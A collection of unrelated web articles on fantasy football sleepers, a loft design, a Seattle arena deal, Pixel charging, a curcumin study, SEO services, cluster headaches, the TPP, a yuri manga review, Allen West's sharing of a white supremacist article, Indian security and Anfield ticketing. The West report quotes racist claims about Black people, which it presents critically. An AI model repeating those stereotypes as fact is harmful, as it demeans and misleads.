-It is always interesting to look at the fantasy football ADP (average draft position) values after the season and identify who were the biggest bargains. Players like Cam Newton, DeAndre Hopkins, David Johnson and Allen Robinson were huge values relative to their 2015 ADP. One of the most important jobs of a fantasy football analyst is to try to find those values in this year’s draft. It requires a lot of research and a ton of gut instinct. As we start to look at fantasy football ADP more closely, let’s match up the bargains from last year and identify their corresponding player in 2016. Then we will answer the question: If this season mirrors the 2015 fantasy season, could these players be the fantasy sleepers of 2016?  Fantasy Football ADP Crystal Ball: Best Buys  1) Chris Hogan (New England Patriots)  2015 Perfect Match: Allen Hurns (Jacksonville Jaguars)  ADP: WR 66  Total: 161 points, WR16  Why it will happen: The New England Patriots have made a history of finding average players on other teams and turning them into solid fantasy scorers. Players like Brandon LaFell (WR24 in 2014), Wes Welker (WR11 2007, WR12 2009, WR3 2011), and Corey Dillon (RB5 in 2004) all performed well above their average annual production after they arrived in New England. Hogan fits that mold perfectly as a solid wide receiver in Buffalo who had yet to breakout. Hogan’s nickname is “7-11” because he’s “always open.” If that moniker holds true in 2016, it would make him the perfect sleeper candidate with the Patriots.  Why it won’t happen: The Patriots may certainly make Hogan more productive, but it is also true that his situation is not ideal for a breakout. Jimmy Garoppolo is the starting quarterback for first four games, and there are a lot more mouths to feed than in the past, as Rob Gronkowski, Julian Edelman, Danny Amendola, Dion Lewis, and now Martellus Bennett will all warrant targets. Hogan’s situation is not quite as optimal as the players that have come to New England before him. In addition, Hurns’ 2015 year was extremely fortunate: ten touchdowns on only 105 targets. It is next to impossible to see a repeat of a 10:1 target to touchdown ratio from the #66 drafted fantasy wide receiver.  Prediction: Bill Belichick didn’t spend $12 million dollars on a player he doesn’t plan on using. With his knowledge of the division and injuries to current wide receivers, Hogan could be a great value along the lines of Hurns last season. At such a low price, it is definitely worth the risk.  2) Mohammed Sanu (Atlanta Falcons)  2015 Perfect Match: Michael Floyd (Arizona Cardinals)  ADP: WR 51  Total: 120 points, WR 32  Why it will happen: Floyd was injured at the start the 2015 season, and didn’t start producing until Week 6 at Pittsburgh. From that game on, he averaged 12.9 fantasy points per game in standard scoring leagues. Floyd emerged from a crowded receiving group on a great offense and subsequently helped many owners win their fantasy leagues. Sanu has changed teams from Cincinnati to Atlanta, but is the clear number two receiver behind Julio Jones. After finishing tied for first in receptions with 136, Julio will draw a lot of attention from defenses, leaving Sanu in one on one coverage. Throw in a high octane offense led by Matt Ryan, and this is a great spot for Sanu to qualify as a sleeper.  Why it won’t happen: While the Falcons pass a ton (fifth in NFL in pass attempts), the majority of yardage goes to Julio Jones and Devonta Freeman. In addition, Ryan’s touchdown production has been mind-boggling poor (21st in TD passes in 2015). Last year’s Falcons offense was not kind to number two receivers; both Roddy While and Leonard Hankerson struggled with consistency. Throw in the fact that Sanu has never caught more than 56 balls in a season, and it is simply asking too much for him to repeat Floyd’s end of year explosion.  Prediction: Sanu was always the third option in Cincinnati. Marvin Jones one year, then Tyler Eifert the next. This is a legit WR2 opportunity. With the year Julio Jones had last season, Sanu will absolutely get a ton of chances. Tight end Jacob Tamme is average at best, and all he has to hold off is wide receivers Justin Hardy and Eric Weems. You are getting great value with Sanu, and with the inevitable Julio one or two game foot injury looming, this looks like a perfect comparison to me.  2015 Perfect Match: Brandon Marshall (NY Jets)  ADP: WR 22  Total: 230 points, WR 3  Why it will happen: While Marshall’s situation was not thought to be ideal, the Jets ran the ball so well that it gave him one on one coverage often and quarterback Ryan Fitzpatrick had a very solid season. Eric Decker also provided a solid wideout on the opposite side to keep the pass defenses honest. Tate is now the best receiver in an offense that will have to throw the ball to stay competitive. Without Calvin Johnson, offensive coordinator Jim Bob Cooter has thrown out the playbook and revamped the offense completely. Look for more short passes and slants, which plays perfectly to Tate’s game. Finally, over the past two seasons, when Calvin Johnson was injured, Tate averaged 7.7 catches, 105 yards and one touchdown per game.  Why it won’t happen: Brandon Marshall was already established as a top ten receiver in the NFL before last season. He had monster seasons that Tate has never had. Losing a Hall of Fame receiver in Calvin Johnson cannot possibly help the offense. Stafford has always shown a tendency to force the ball into tight coverage. This was a habit that was compensated for by the presence of Johnson. Can Tate really thrive as a number one receiver? Are we even sure he’s better than Marvin Jones on the opposite side? A tough division and schedule looms as well.  Prediction: The Lions will almost certainly have trouble running the ball (last in total rushing yards in 2015). Plus, they figure to be behind in games and will need to throw the ball. Tate is the top receiver and is entering his third year in Detroit. He may not be top three, but I would be shocked if Golden Tate does not finish as a top 12 wide receiver, and therefore an official WR1 in standard scoring leagues.  2015 Perfect Match: Richard Rodgers (Green Bay Packers)  ADP: TE 18  Total: 109 points, TE 8  Why it will happen: Tight end is a fantasy position that people tend to draft very early or very late. It is always smart to take a close look at tight ends on pass heavy teams, simply because of volume. In Green Bay, quarterback Aaron Rodgers has been looking for a reliable tight end his entire career. Last year, second year player Richard Rodgers produced a top ten fantasy season despite being an after thought on draft day. Rodgers finished fifth in touchdowns for tight ends, outpacing Greg Olsen and Delanie Walker. This year, Clive Walford enters his second season in a passing offense as well. The 6’5″, 250 pound target is set to get a lot more looks from Derek Carr and drastically improve on this 28 reception, three touchdown year from 2015. Passing defenses will no doubt key on wideouts Amari Cooper and Michael Crabtree, giving Walford room to roam in the middle.  Why it won’t happen: To start, Derek Carr is not Aaron Rodgers. Secondly, the Raiders are not the Packers. Carr not only has the wide receivers to feed, but also a great group of pass catching running backs with Latavius Murray, Taiwan Jones, Roy Helu and Marcel Reece. Despite being much improved, Walford will not crack the top ten at the position. Too many mouths for Carr to feed in this offense.  Prediction: Richard Rodgers earned his quarterback’s trust, and Walford will do the same. He will always get man to man coverage, and could easily replicate Rodgers’ eight touchdown production. Oakland has one of the best offensive lines in football, which will free up Walford to attack downfield. Out of all the “Buy” candidates listed, this is the easiest one to see happening.  2015 Perfect Match: Doug Martin (Tampa Bay Buccaneers)  ADP: RB 18  Total: 199 points, RB 3  Why it will happen: When Anderson is healthy, he is a force. He came on strong with 27 fantasy points Week 12 vs. New England and then 13 and 15 standard fantasy points in Weeks 16 and 17. Anderson carried this right into the playoffs, and enters an ideal offensive situation in 2015. Gary Kubiak loves to run the ball, and will do so behind either Mark Sanchez or rookie Paxton Lynch. It will be a conservative offense, similar to the one Tampa Bay ran last year with Doug Martin. The Buccaneers didn’t want rookie quarterback Jameis Winston taking too many attempts downfield, and Martin was the beneficiary. If Anderson stays healthy, he is a lock for a top five running back finish. He can run with power, is elusive, and can catch the ball.  Why it won’t happen: There are too many mouths to feed between Anderson, Hillman, rookie Devontae Booker, and Juwan Thompson. Anderson is only 25, but has yet to demonstrate an ability to stay healthy. He failed to meet the preseason expectations, and his stats were skewed by the big home game vs. New England. If you just look at the metrics for running backs, there are many other better NFL running backs, even though he is in a potentially great situation.  Prediction: Kubiak is a run-first coach, and now has the security of a Super Bowl championship. Anderson is the best running back on the roster and is a solid contributor on third down as well. The key comparison is at the quarterback position. Either Paxton Lynch or Mark Sanchez will be under orders to not make mistakes. This offense will resemble the Chiefs with quarterback Alex Smith. Close one to call here, but with running back being a wide open fantasy position, I lean towards yes.  You can continue on to the most overrated ADP players of 2016.
-This industrial loft belongs to a co-owner of VM Central & Olive Studio Rupert Smith. Its design is a sum of the owner’s golden rules in creating a visual narrative.  First of all, he started with a black and white frame and then built and layered from there. Rupert started with a monochromatic canvas and layers textures, decor and design features from different time periods.  The second design rule that the owner swears by is maximizing available light. The loft’s airy double volume with large glass windows meant already an abundance of natural light, accentuated further with use of glass vessels, reflective surfaces and glossy finishes. It’s especially important because the shades of décor are rather dark, so light is necessary to keep its look not so moody.  Rupert loves industrial elements, so he included lots of them making industrial theme a part of this loft. He didn’t want a soulless, run-of-the-mill modern, cold space, and a proliferation of greenery means the industrial space is anything but sterile, whilst the taxidermy birds and skulls hint at Rupert’s ‘Touch of Gothic’ style. Rupert also added a lot of greenery to the loft, so he didn’t miss a garden at all.  The furniture you can see in this loft is a mix of modern and shabby chic chosen by the owner himself. Antique tables and vintage chests of drawers neighbor with modern leather chairs and black manyly stools. And with such an eye for detail, Rupert has ever-changing vignettes and displays.  The loft has a strong character and personality, this is definitely a home of a creative person. This loft reminds to me of a Victorian or steampunk space done in calm shades, with lots of unique details: the longer you look at them, the more details you see.  Source: elledecoration
-Much like Mayor Ed Murray before him, King County Executive Dow Constantine has expressed a willingness to support a modification in the MOU between the city of Seattle and arena investor Chris Hansen. Constantine echoed Murray's openness to an NHL-first amendment to the current agreement but, like Murray, reiterated that the numbers would have to pencil out financially.  In a statement released late Wednesday evening, Constantine said "The opportunity to bring NHL hockey to King County is one we should not miss. I am open to modifying the arena MOU if there is a proposal that is self financing, protects the public from financial risk, and does not rely on any new taxes. These principles guided the development of our existing MOU, and I remain committted to securing both an NBA and NHL team for our region, regardless of the order in which they arrive."  This is similar to what Mayor Murray said to KING5 last month, when he said "I believe there could be an adjustment for an NHL team first if there if a financial plan that pencils out for the city." The current agreement will only allow the public funding mechanism to go into effect if an NBA team is secured.  While Constantine has long been an advocate for the SoDo arena project, this is the first time he has vocalized support for an NHL-first modification. The more political support the better, and it's clear that both Constantine and Murray want to see this project through to the end.
-Earlier today a well-known community tester of USB devices reported that the 5" version of Google's Pixel phones was not able to pull more than 15 watts of power off the stock 18W USB-PD charger, despite Google's specification site for the Pixels implying heavily that both devices were capable of 18W charging.  Charging USB Type-C™ 18W adaptor with USB-PD 18W charging  We reached out to Google, and it turns out this was just a marketing materials mistake: the official specification page for the Pixel has been updated to correctly state that the phones support USB-PD charging from 15-18 watts, as opposed to simply 18 watts. The updated page, now live, reads:  Charging USB Type-C™ 18W adaptor with USB-PD 15W - 18W charging  Nathan speculates in his Google+ post that it seems Google may have reduced the maximum charging wattage on the smaller Pixel out of thermal concerns, though Google did not comment on their specific reasoning for the different charging speeds. The variance between the two devices accounts for a little over a 20% speed boost (on paper) at peak charging speeds for the XL compared to the standard 5" Pixel. However, the XL also has a battery around 20% larger, so it actually seems likely the XL probably still takes a bit longer to charge.  The reason I say "on paper" and "peak" is because a smartphone will not always utilize its maximum charging speed depending on conditions of temperature, whether the display is on, and the current capacity of the battery. All phones slow down charging very considerably as their lithium batteries near capacity (probably around 80% is where things start to crawl slower and slower) simply by the nature of the limitations of the battery chemistry. As such, while "20% faster" sounds like a lot on paper for the XL, the difference in 0-100% times between the two phones is realistically not going to be affected all that much by a gap of 3W at the peak charge rate, particularly given how much smaller the Pixel's battery is than the XL's.  If you want a sidebar opinion on this: my guess is that based on Nathan's post and Google's subsequent correction, the Pixel team may have adjusted the 5" model's maximum charging speed down some time late in development or right before the firmware reached final, and the marketing team just never got the memo.  If you feel this was a major omission by Google, well, I'd say you at least have a reason to return your phone in principle - Google did technically falsely advertise the peak charging speed of the smaller phone. But in reality, this is a fairly minor change to the product specification, and one that Google has admitted was more of an oversight, and not some major product change they were reluctant to acknowledge. I highly doubt Google intentionally misled anyone here, and they're making the situation right, immediately confirming Nathan's findings as accurate.
-A recent randomised, double-blind, placebo controlled study conducted by our research group, provided partial support for the efficacy of supplementation with a patented curcumin extract (500 mg, twice daily) for 8 weeks in reducing depressive symptoms in people with major depressive disorder. In the present paper, a secondary, exploratory analysis of salivary, urinary and blood biomarkers collected during this study was conducted to identify potential antidepressant mechanisms of action of curcumin. Pre and post-intervention samples were provided by 50 participants diagnosed with major depressive disorder, and the Inventory of Depressive Symptomatology self-rated version (IDS-SR30) was used as the primary depression outcome measure. Compared to placebo, 8 weeks of curcumin supplementation was associated with elevations in urinary thromboxane B2 (p<0.05), and substance P (p<0.001); while placebo supplementation was associated with reductions in aldosterone (p<0.05) and cortisol (p<0.05). Higher baseline plasma endothelin-1 (rs=-0.587; p<0.01) and leptin (rs=-0.470; p<0.05) in curcumin-treated individuals was associated with greater reductions in IDS-SR30 score after 8 weeks of treatment. Our findings demonstrate that curcumin supplementation influences several biomarkers that may be associated with its antidepressant mechanisms of action. Plasma concentrations of leptin and endothelin-1 seem to have particular relevance to treatment outcome. Further investigations using larger samples sizes are required to elucidate these findings, as the multiple statistical comparisons completed in this study increased the risk of type I errors.  Crown Copyright © 2014. Published by Elsevier B.V. All rights reserved.
-Search Engine Optimisation At Sigma Infotech, we get your business to the top of search engines to help your prospects find you easily.  Your target audience is out there on the web looking for businesses like yours every day. If you are not on page one of popular search engines like Google, you are going to lose out your potential clients to the competitors. To ensure that the target audience finds your website before that of your competitors', investing in professional search engine optimisation service is necessary. Sigma Infotech is your SEO expert that can help you dominate the SERPs (Search Engines) by placing your website on top of popular search engines for your targeted keywords. We implement 100% white-hat SEO strategies to ensure that you and your business never run short of traffic and sales leads.  Dominating the Web through Higher Rankings  There is aggressive competition for high rankings on Google, and you need a customised SEO strategy in place to be able to compete. Millions of businesses like yours are vying for the top positions on Google. So how do you stay ahead of them? At Sigma Infotech, we have a team of website optimisation and search engine optimisation experts and that can device a custom plan and strategy for your business. We assess your existing web presence and suggest ways of bolstering it through on-page and off-page optimisation strategies.  We understand the way people search on the web and we understand the algorithm Google used to deliver search results. It is through this understanding, we chart out strategies that can improve your search visibility and generate qualified sales leads for your business.  Driving Targeted Traffic to Your Website  When working on your business' presence on the search engines, we ensure that you not only get top rankings, but the traffic coming to your site is relevant as well. Through our proven targeting methodology, we target users who would be most interested in doing business with you. To do this, we identify the keywords that are most appropriate for your business. Google Analytics is one of the key tools we use to find out the keywords that your targeted audience is using to find businesses like yours. Moreover, we apply geographical targeting methodologies to get you the most specific traffic. Through these strategies, we strive towards increasing the click through rate, streamlining visitor inflow, minimising bounce rate and increasing conversions. Here you can get search engine marketing help.
-If you're all too familiar with the unbelievable pain of cluster headaches, then you know...  1. It's the worst kind of headache.  All sufferers of cluster headaches—and their doctors and loved ones—agree: The pain is brutal. This unique syndrome is so intense that in the throes of an attack, you might bang their head against the wall or even pull your hair out. The attacks are usually focused on one side of the head, and the pain is often a piercing sensation in the eye or temple, which is why some people refer to them as "ice-pick headaches." The attacks can occur daily (or even multiple times a day) for a few weeks or months; about 1.4 million Americans suffer from them, according to the American Headache Society.  2. Certain times of day suck more than others.  These headaches can occur like clockwork, literally: Some people experience them within a couple of hours of falling asleep, while others might only experience attacks in the mornings, afternoons, or evenings. For some, the pain can kick in at a frighteningly specific time of day, say at 2:30 pm every day. The headaches can also be seasonal, with the spring or fall signaling the onset of attacks.  3. You need a doctor who 100% gets it.  David Jakle/Getty Images  Although medical professionals once doubted the severity of cluster headaches, most appreciate just how painful and frustrating these maddening attacks can be. Good doctors will work patiently with you to determine the right combination of drugs and behaviors that can limit attacks or ease the severity of the pain. (Doesn't sound like your doc? Here are 10 more signs it's time to dump your doctor .)  MORE: 7 Weird Headache Triggers  4. You don't know what desperation is until you're looking for a treatment.  Living with cluster headaches means being on a continual search for respite. The laundry list of options you'll try is endless—in part because of the frustratingly vague origin of the head pain.  5. There's nothing like the sweet relief of oxygen.  One of the most effective treatments is pure oxygen, which is why many people with cluster headaches keep tanks around the house. According to the Mayo Clinic, inhaling 100% oxygen at a minimum rate of 12 liters a minute can head off an attack. A self-administered shot of a triptan drug such as Imitrex can also help; this class of drugs have been effective for migraines in general, and many people with cluster headaches benefit as well.  6. Home can feel like a prison.  Image Source/Dave Smith/Getty Images  When you're in the midst of a cluster, even leaving the house can be terrifying. You may not have the treatment you need with you should a headache come on, and the pain is so intense there's no way to mask what you're going through. Many sufferers complain of feeling almost agoraphobic.  7. You'll never stop hoping for a cure.  When the headaches keep reoccurring, you may turn to surgery to block nerve signals, implants that can stimulate certain centers in the brain, and even psychedelic drugs (a report in the journal Neurology suggested some patients' headaches cleared up after trying psilocybin mushrooms). Researchers continue to pursue possible cures and new treatments, which you can track at the National Headache Foundation, American Headache Society, and at support group-oriented sites such as ouch-us.org and clusterheadaches.com.  MORE: The 10 Most Painful Conditions
-This article is over 3 years old  Treasurer tells National Press Club sceptics are welcome to doubt the trade benefits but the government is convinced of them  The treasurer, Scott Morrison, has ruled out conducting “rear view” analysis of the Trans-Pacific Partnership (TPP) agreement, saying that the government is satisfied with its projected benefits.  The only analysis done on the massive 12-country trade deal was conducted by the Department of Foreign Affairs and Trade. Consumer groups such as Choice had asked for independent review to be undertaken.  Trans-Pacific Partnership: four key issues to watch out for Read more  When asked by reporters during an address to the National Press Club, Morrison flatly refused.  “The work has been done ... in securing these agreements and the sceptics will always doubt the trade benefits of these sorts of deals,” he said. “They’re welcome to their scepticism. The government is convinced of it.  “Doing rear view analysis on these things after the work has been done – that can be contemplated – but we’re a bit more focused on getting on to the next set of issues that need to be addressed.  “We don’t intend to run the economy with a rear view mirror. We intend to look forward on what we have to do.”  The deal was struck in November and officially signed earlier this month. The 12 signatory countries are: Australia, Brunei, Canada, Chile, Japan, Malaysia, Mexico, New Zealand, Peru, Singapore, the United States and Vietnam.  TPP trade deal will expand Australia's economy by less than 1%, World Bank reveals Read more  Morrison praised the trade minister, Andrew Robb, who announced his retirement last week and will hand the baton to Steve Ciobo at the swearing-in ceremony for the new ministry on Thursday.  “There is the outstanding record of the trade and investment agenda we have been pursuing over the last few years,” Morrison said.  “[Robb] has spearheaded that charge and delivered generations of prosperity for Australians from his great work and I want to thank Andrew on behalf of myself, and other colleagues here for the tremendous work he has done.”  Robb will take on the role of special trade envoy to ease Ciobo’s transition into the role, as Australia pursues free trade deals with Singapore and India.  Earlier this month, Robb rejected calls for a cost-benefit analysis of the 6,000-page deal, after it emerged that Australia’s economy would grow by just 0.7% as a result of signing the agreement.  The World Bank analysis showed that Australia fared worse than all other countries except for the US from the deal.
-Slow down, friend. The following content is incredibly perverted.  This manga is 18+, not safe for work, and is really rather sexual.  Should you be pure of heart, avert thine eyes.  ORYA—!!!  Ahh, MURCIÉLAGO (ムルシエラゴ, or Murcielago); a series that could perhaps be considered infamous in yuri circles. You know, I actually avoided reading it for a while. The premise seemed like something I would just hate. I assumed the worst of it and really, fans of the series in the West didn’t exactly help entice me to WANT to try reading it. I did read it, though. Why? Because of the author, Yoshimura Kana (よしむらかな); specifically his twitter account (@yoshimurakana).  Yoshimura-sensei’s twitter account is the bee’s knees. I stumbled on it while looking up a relatively obscure yuri series, and noticed this account was highlighting not only yuri, but a bunch of other manga I was interested in as well (or manga I hadn’t heard of yet/that had just debuted). It also had some hot and neat opinions, then I noticed “wait isn’t this the Murcielago author’s twitter account?” I followed him and have since enjoyed the fruits of his good taste, thinking “okay, eventually I have to read Murcielago for real”. So I did.  Murcielago is kinda like exploitation flick meets overt oddball comedy with lots and lots of lesbian antics. I think its best comparison series might be trash., except trash. really holds true to its title and it’s just a matter of how long you can endure it or how much the ridiculous nature of it amuses you. trash. is basically like if Murcielago had no restraint and was also just generally worse, but the idea behind both of them — insane action sequences that are executed by a strange pair of hyper competent girls with a lot of violence and humor — is about the same. trash. is also a lot more depressing about everything, while Murcielago is much more lighthearted. At any rate, despite a lot of misgivings I had going into the series, from the one shot onward I found Murcielago to be a real delight.  Using the Japanese covers because the English release covers are basically the same except they don’t have kana.  Koumori Kuroko is a murderer with a staggering body count. At the start of the manga, she’s been caught and is awaiting execution. However, she’s made an offer that if she becomes a government dog, she will be allowed to live. Apparently, Kuroko isn’t just a killer, but a highly skilled assassin-like one (although as far as I know, she was never actually an assassin and previously mostly killed normal people). She accepts, becoming a “National Executioner” for the police, tasked with killing the many freaks and bastards terrorizing society.  Her…handler? Partner? Her cohort that lives with her and who she cooks for is a junior high school girl named Tozakura Hinako who seems to have an innate beyond-expert understanding of all vehicles, but she also seems to have the firm and strange personality of a young child; smiling innocently through many of the horrors within the series.  And…yep! That’s it! The series does have an overarching plot of a sort and a kind of mystery element, as everything ends up being connected in this way and that (also individual arcs have little “can you figure it out?” parts), but the main appeal of the series is its episodic arcs. It starts off letting you know that it’s all going to be utterly absurd and not realistic at all. It also starts off letting you know that Kuroko is an incredibly lustful homosexual woman as chapter one pretty much opens with [this] (really, not safe for work).  However, although Kuroko is always thinking about how she wants to fuck every girl she sees (every one, even young ones) and there are some sex scenes, most of the sex is actually confined to the omake chapters that come at the end of each volume. They can get very lewd, yes, but I honestly think the main appeal of this series is the insane action and Kuroko’s overall bizarre character.  I would describe Kuroko as an impossibility. She’s an incredibly tall, incredibly thin, big-breasted and scummy woman who has no qualms killing people and can be very creepy yet somehow she causes panties to drop with but a few words. She hardly ever seems to give a shit and yet she never gets seriously hurt and always survives mortal danger. She has the CRAZY-ness of Dante from Devil May Cry and the slick acrobatic killer efficiency of Claire Stanfield from Baccano! (if you don’t know who that is and haven’t watched or read Baccano! yet, don’t spoil yourself and go watch the anime or something). While she possesses those traits, she’s undoubtedly her own character. Kuroko is Kuroko, and aside from describing her as an impossibility, I’d also describe her as smooth and infallible evil.  Not only is she evil because she’s a murderer and sometimes molester who preys on innumerable women despite allegedly being in a relationship (that’s a whole other thing you could talk about, but the only thing I’ll say is that Kuroko’s girlfriend, Chiyo, is way better than she initially appears), she’s evil because she’s a corrupting force. This isn’t really obvious at first; at first, you might even mistake her for being half-decent because she only kills bad guys and all that. As time goes on we get more reason to believe she’s just awful, usually in seeing the full extent of her brutality, or worse: how she actively encourages bad actions in other people. Hence a corrupting force. Kuroko is seriously messed up and probably shouldn’t have near as much freedom as she is allowed.  That said she’s pretty hilarious so it’s often easy to ignore these factors.  That does remind me, though; this is probably the only exploitation fiction I’ve gone through where I actually feel bad about people dying. I also think that’s intentional.  Since Kuroko works for the police, the police are a big part of this series. Think of them as the moral thread that is there to remind you that shit is fucked. They remind you that every life is precious, so when criminals and crazies show up you end up keeping in mind that every murdered civilian had a life that ended there, suddenly. They remind you that killing is a bad thing, since they don’t really ever do it and when they do they have serious moral dilemmas over it even if the person they killed was a mass murderer. They are pretty much the only characters in the series that absolutely don’t like Kuroko and wish she wasn’t “necessary” for the super-powered/skilled monsters they encounter regularly. Basically, they seem to be just about the only people in the series who are aware of how wrong things are, giving the series a surprising air of seriousness at times (there are a few others, but most of the cast is disturbingly unfeeling when it comes to matters of death). These aren’t minor characters, either; they show up often and they’re definitely major. I think that it’s an interesting choice Yoshimura-sensei made to have them be so significant, because I feel like any other trashy action series wouldn’t bother moralizing and would instead only ever delight in the wanton lusts and violence. “Turn your brain off, enjoy the ride”. There’s some of that here, but then the police show up. I like this aspect, and don’t see it getting talked about often enough.  Really do note how Kuroko seriously doesn’t give a shit although a little girl could be killed, and many have died already. She’s really a bad person! However because Kuroko is so relaxed so often, I found it easier to deal with the bad things happening and didn’t exactly find them “edgy” or something. It’s a weird vibe this series has.  Now then, winding down a bit… I don’t really have any complaints about this series, so I’ll just offer some more praises.  Murcielago is stylish as fuark.  God damn, seriously, Yoshimura-sensei just looooves playing around with weird perspectives, style choices, and absolutely insane choreography. His imagination is also wild, and there’s a lot of completely out there stuff that could never happen in reality happening in this series. Like, the stuff that happens in volume 9 for instance…aaagghhh what the HELL is that doing in this series!? But it’s awesome! Why is it here?? It’s awesome!  You may have also noticed he gets fancy often about where he puts the series title and chapter name/number for each new, well, chapter. Sometimes they get mega stylish panels dedicated to them, other times the title and chapter name are incorporated into the scene itself. My favorite of these occur in volume 9 again, for chapter 57. However I can’t show it, because it’s a big ol’ spoiler. It’s very cool, though, trust me.  Another cool thing about this series is Hinako in general. She’s kind of like a weird chaotic force that bounds around an arc mostly stumbling into doing something useful, but for all the wrong reasons. She’s just funny, really. Sure, she’s got a creepy vibe in that you can tell something’s…off about her (and not just because she’s childish), but she’s too funny so I mostly don’t even care. She’s often in a chibi-fied form that’s…really something, and she has a catchphrase of a sort in that she is often shouting オリャー！. So if you ever see オリャー！ know that she is yelling “ORYA—!”, often repeatedly, at the top of her lungs. She’s basically almost always hyped up, unless something has scared or upset her.  Other than that, Kuroko has a cadre of allies that sometimes help her out. These two are not part of that, actually, although they work together in the series’ second arc. They also rarely show up, and only until the most latest of chapters do they seem to have a somewhat more significant role again. They’re pretty cool and amusing, though, so I look forward to seeing more of them. Conrad’s design is rad, also.  That’s it. I don’t think I have anything more to say. I highly recommend this series. Go ahead and read it, mate. It reads fast, too, and the Japanese isn’t super hard to understand. On that note…  If you want to go about reading it in English officially, you’ll have some but not much luck as of right now. Yen Press has licensed the series and released volumes 1 and 2 in English as of this date. There are 9 volumes out, though… So! If you want to buy the series in the original Japanese, check out CDJapan, Bookwalker (guide), honto, or ebookjapan. Mhm, I’d say it’s worth your time.  Next manga up: another weird yuri series. Ciao.
-Allen West posted the racist American Renaissance article to his website before Dave Agema shared it on Facebook.  Photo by Alex Wong/Getty Images  Former Republican Rep. Allen West posted a white supremacist article last December, and it’s helped create a huge headache for the RNC.  On Dec. 29, West pasted the text of a story called “Confessions of a Public Defender” on his website. That story was originally published at American Renaissance, a white supremacist magazine helmed by Jared Taylor, who seems to feel that “[w]hen blacks are left entirely to their own devices, Western civilization — any kind of civilization — disappears.”  West gave the American Renaissance story a ringing endorsement.  “It will take you only 5 minutes to read this article—and I would bet you’ll read it again,” he wrote on his site. “Then ask yourself, is this something you hear Al Sharpton addressing? Or President Obama, Eric Holder, Jeh Johnson or Jesse Jackson?”  “The facts and observations in this are not shocking to me,” West continued. “They are quite well known, but the manner in which the writer so eloquently presents them is quite commendable.”  Here are some of the “facts and observations” in the story West shared, which was written by a guy, using a pseudonym, who claims to be a public defender:  “[E]verything I say to blacks must be at about the third-grade level. If I slip and use adult language, they get angry because they think I am flaunting my superiority.”  “Blacks…live in the here and the now and are unable to wait for anything.”  “Most blacks are unable to speak English well. They cannot conjugate verbs. They have a poor grasp of verb tenses. They have a limited vocabulary. They cannot speak without swearing.”  “Blacks often make bad witnesses.”  “It is my firm belief many black [sic] are unable to discuss the evidence against them rationally because they cannot view things from the perspective of others.”  And on and on and on. West pasted the full text of the story on his site without any caveat suggesting he disagreed with any of its contents. He did, however, say this: “I’m quite sure the progressive social left will criticize me for sharing this article—that’s just who they are—they hate the truth.”  As it turns out, many on the conservative right also hate the truth. After Dave Agema, the RNC committeeman for Michigan, shared the story on his Facebook page, many prominent Michigan and national Republicans called for him to step down or renewed their calls for his resignation. (He’s put lots of other bigoted stuff on his Facebook page, and RNC Chairman Reince Priebus called for him to resign last January.)  Agema is now using West’s distribution of the article to defend himself, per MLive. He noted that West “is himself black.”  Agema’s battle with the RNC has drawn substantial media coverage. The committee’s top officers voted Wednesday to censure him, as reported in the Detroit Free Press, and are pushing the Michigan Republican Party to find a way to give him the boot.  Allen West isn’t the only prominent conservative figure wrapped up in the Agema issue. Mitt Romney’s niece, Ronna Romney McDaniel, is the committeewoman from Michigan, and she hasn’t denounced Agema yet. Agema endorsed Mitt Romney in the 2011 Michigan Republican presidential primary and was on his Michigan leadership team. Michigan’s Republican Gov. Rick Snyder has criticized Agema’s statements but also hasn’t said he should resign. And last weekend the national political director for Sen. Rand Paul’s RANDPAC spoke at a Tea Party event that Agema keynoted. Heritage Action and the Mackinac Center for Public Policy both withdrew their sponsorship of that event because of Agema’s involvement.
-Summary  Alan Watts began his training in writing and public speaking while attending King's College School in Canterbury, with the goal of becoming an Anglican priest. His interest in Eastern mysticism and religion began early and at the age of 16 he began writing for (and eventually became editor of) The Middle Way, the journal of the Buddhist Lodge in London.  In 1938, at the age of 23, Watts married and moved to the United States. He earned his Master's degree in Theology from Seabury-Western Theological Seminary in Illinois and was ordained an Episcopal priest in 1944. He was also given an honarary Doctorate of Divinity from the University of Vermont. In 1950, while a chaplain at Northwestern University, Watts was invited to join the American Academy of Asian Studies (a predecessor of CIIS). He moved to San Francisco and became a lecturer, professor and dean at the Academy.  Watts wrote prolifically during the 60s and became a somewhat unintentional spokesperson for the counterculture movement. He was widely recognized for his zen writings, produced more than 25 books, and lectured extensively on individuality, self-expression, and spirituality. Alan Watts died in his sleep at his home in California in 1973 (we had previously written that he died of lung cancer. this appears to be incorrect, our apologies for the error).
-NEW DELHI: Accusing Pakistan of fomenting trouble in India, home minister Sushilkumar Shinde said it was helping terrorists to infiltrate into the country.  "We have information that Pakistan is helping terrorists to enter our territory. We have intelligence inputs. But we are alert," he told reporters here on Sunday.  The home minister said his ministry has directed all concerned to be extra vigilant during the ongoing festival season and ensure peace. "I also appeal people to be extra careful," he said.  Referring to Jammu and Kashmir, Shinde said security forces cannot be withdrawn from the Valley till the situation is completely peaceful there.  "When I was in Jammu and Kashmir, locals asked me to remove the Army from the Valley but I told them that we can't do it till the situation is peaceful. We will remove the Army when the situation is peaceful," he said.  Shinde said he had visited the Indo-Bangladesh border on Saturday and assessed the situation there.
-United's last match at Anfield was overshadowed by the Suarez-Evra row  Manchester United are likely to be given more than 6,000 tickets for the FA Cup fourth-round tie with Liverpool at Anfield this month.  United received a reduced allocation for October's league fixture because of fans blocking gangways at fixtures.  But Liverpool City Council has said its objections have now been lifted.  United may get the bottom tier of the Anfield Road stand, holding just under 6,400, but two seats at the end of each row, around 300, will not be sold.  "We have taken into account the improvement of the Manchester United supporters at the most recent Premier League fixture relating to the blocking of gangways and aisles," said Stephen Clare, Liverpool City Council's principal licensing officer.  "Liverpool FC will be responsible for determining the actual numbers that this will result in."  The fourth-round match takes place on the weekend of 28/29 January.  It will be the first time the teams have met since the 1-1 draw at Anfield on 15 October in which Liverpool striker Luis Suarez clashed with United's Patrice Evra.  Suarez was subsequently banned for eight matches and fined £40,000 after being found guilty of racially abusing Evra.  Additional security will be in place for the tie and it is expected the front row of the top tier of the Anfield Road stand will not be sold for the game, the first between the sides in the FA Cup at Anfield since 2006.  Suarez will still be suspended for the match, a date for which should be confirmed by the Football Association this week.  However, the Uruguay international would be available for any replay, and for the Premier League game between the teams at Old Trafford on 11 February.
